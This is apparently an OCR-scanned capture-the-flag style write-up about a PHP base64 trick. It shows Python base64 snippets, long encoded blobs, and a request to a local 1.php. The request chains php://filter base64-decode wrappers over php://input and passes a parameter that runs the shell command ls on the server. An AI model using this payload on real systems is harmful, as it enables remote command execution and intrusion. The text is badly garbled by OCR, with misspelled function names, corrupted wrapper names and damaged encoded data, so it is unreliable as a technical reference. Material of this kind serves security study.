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0x01 base64 little trick
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>> b6dencode( '4ctien’)
'NGNBMTBu'
>> b64decode( '\xadN=G?N-0-M-\xddTBu')
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1> python fhome/yz/code/py_code/1. py
as based 1 times
as based 2 times
as based 3 times ,you have decode 4 times
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TaAAGtcgAtTACtgATCaAGECcATLaCTgcACtgATCgTtcCAGTEgAtTtGaTaAGTCTgeTALgCTgCACtgeCTGTEcCCTgecgatcCTGeagGAGtccCTGATCaCGetTtcCaAGTgALGACTgATCgTEcCAGTECCTGgALG TACtgCGectTteCa
AGTcgatacTGagCcCOetAGtcCGetTteCaAGTAGTCAGTACtgTtcCCTgCGALCAGECACTgCTCAACTgATCOTLCCAGTECGCtTECCaAGTATLACGCtTLCCaAGTagCCATLaaCcTGTALgATCgTatAATCACGCtCTQCegATtGCTGATECCLGATGA
CATCgagCcCGetCTgeccCTGTatAcgatTAtgCTgcACtgeCTGACE CgTtcCAGTECGCtTtcCaAGTcgatCGetTtcCaAGTgALGCGCtAGECcTALgCTGACCTGgALtGcagGTtcCacTGagCeCGetAGEC gCTgcACtgcCTGaAGTCTGALGa
AGtcATcaagCcAGtcacTGCGCtTtcCaAGTgAtTgQALGATCgATCaCTgCAGECgATTATtaaAGTCGCETtCcCaAGTETaACTgCcCTGTatAATCgeCTGgALGCagGTtcCCGetTtcCaAGTATLaATCaagCcAGtCacTGCGCtTtcCaAGTgALTgALG
ATCgATcaCTgcAGtcgAtTATtaaAGTAGECcgALtTATtaaAGTACtgATCGTtcCAGTtgAtGCTGATLCCtGaTTtcCCGettTaAtGaTCGetTtcCaAGTTALgaAGTCTGALGAaTAGLCgAtTEGAaTaAGTCTQeCGetTtcCaAGTagCcGATCCTGAGALGA
caTAtgCTgcACtgeCTGCTgecCTGTatAATCGCGetTtcCaAGTCcCTGCCTGgALGcagGTtcCacTGagleCGetAGEtcTALgCTgcACtgeCTGAAGTCTGALGAaTAGECAGECgAtTATLaaAGTCTgccCTGTat CgcCTGgAtGcagGTtcCCGetTt
CaAGTagCcCGetTtcCaAGTLTaACTgCcCTGTatAATCgeCTGgALGCagGTEcCCOGetTtcCaAGTATEaCGCtTtCCaAGTETAACGCETtcCaAGTAGECCGCtTcCaAGTCcgatAGTEACEgTtcCCTgcacTGagCcCGCtAGtcacTGATCgAGTECTg
GAtCCTGAQAtGATCcaATCggAtGAAGTAGTEATCcaagCcAGtcacTGCGetTtcCaAGTgAtTgAtGATCgATCcaCTgcacTGATCgAGTECTgcATcaagCcAGtcacTGCGetTtcCaAGTgATtTgALGATC caCTgcaAGTCTGALGaTAGEtcATcaagCc
AGTCAacTGCGCLTLCCAAGTgALTgAtGATCgATCACTQCacTGATCAGTECTQCATCaagCCcAGLCACTGCGCETLCCAAGTgATTQATGATCgATCACTgCTatATAtQTITAATECCAGTCgAtTATtaaAGTACTgATCQTECCAGTEgALGCTGATECCEGATT
CCCGCttTaAtGaTCOCtTtecCaAGTLTaACTgCcCTGTatAATCgCCTGgATGCaglTLtcCCGetTtcCaAGTATLaATCaagCCAGLCacTGCGCtTLCcCaAGTgALTgATGATCgATCACTgCcCTGgALGgATTACTQAGECgALTATLEaAGTCTgCcCTGTa
AATCQcCTGgAtGcagGTtecCCGetTtcCaAGTagCcCGetTtcCaAGTcagGAGtcgALtTATLaaAGTCGetTtcCaAGTATtaTatAATCcaCGetCTgetTaAAGEC gATcaAGtcATtaCTgcACtgATCQTtcCAGTLgALtTtGaTaAGTCTgCATE
BATcacgatcCTGTALgCTQCACtgeCTGCGetTtcCaAGTgALTTECCCGCttTaAtCaTCOGetTEtcCaAGTETaAAGTLCCTGTALgCgatCGetTtcCaAGTagCcTatATAtgtTaATtcCCGetTtcCaAGTLTaAAGTTCCTGTALgCcgatCOotTEcCaAlT
BgCCATCcaagCcAGEcacTG

@ Load URL  127.0.0.1/1.php?b=php://filter/read=convert.basesa-decode/resource=php://filter/read=convert.base64-decode/resource=php:/fFfilter/read=convert.base64-decode/resource=php://filter
gg split URL /read=convert.base64-decode/resource=php://input&a=echo °ls ../../";

) Execute
v Enable Post data Enable Referrer

Post data GATLcCtGaT TtcCCGettTaAtGaTCGtTicCaAGTETaACTgCcCTGTatAATCgCCTGgALGLagG TicCCGetTtcCaAGTATaATcaagCcAGLcac GG TEcCaAG IgALTgALGATCgATCaCTgecCTGgALLGALTACLGAGECGALTATIAaAG
TCTgecCTGTatAATCgeCTGgAEGCag GTEcCCGekTteCaAGTag CoCGekTtcCaAGTcagGAGECgALTATLaaAGTCGCtTEcCaAGTAT aTakAATCaCGetCTgck TaAAGECgALTACEgATCaAGECATEaCTgcACEgATCgTEcCAGTEgALTEGaTa

AGTCTgcATtaATcacgatcCTGTALgCTgcACtgcCTGCGCETEcCaAGTgALTTLCCCGCtTaALGaTCGCtTEcCaAGTETaAAGTLCCTGTALgcgatCGet TteCaAGTag CTatATALGLTAaATLcCCGet TEcCaAGTETaAAGTECCTGTALgcgat CGetT
btcCaAGTagCcATcaagCcAGEcacTG
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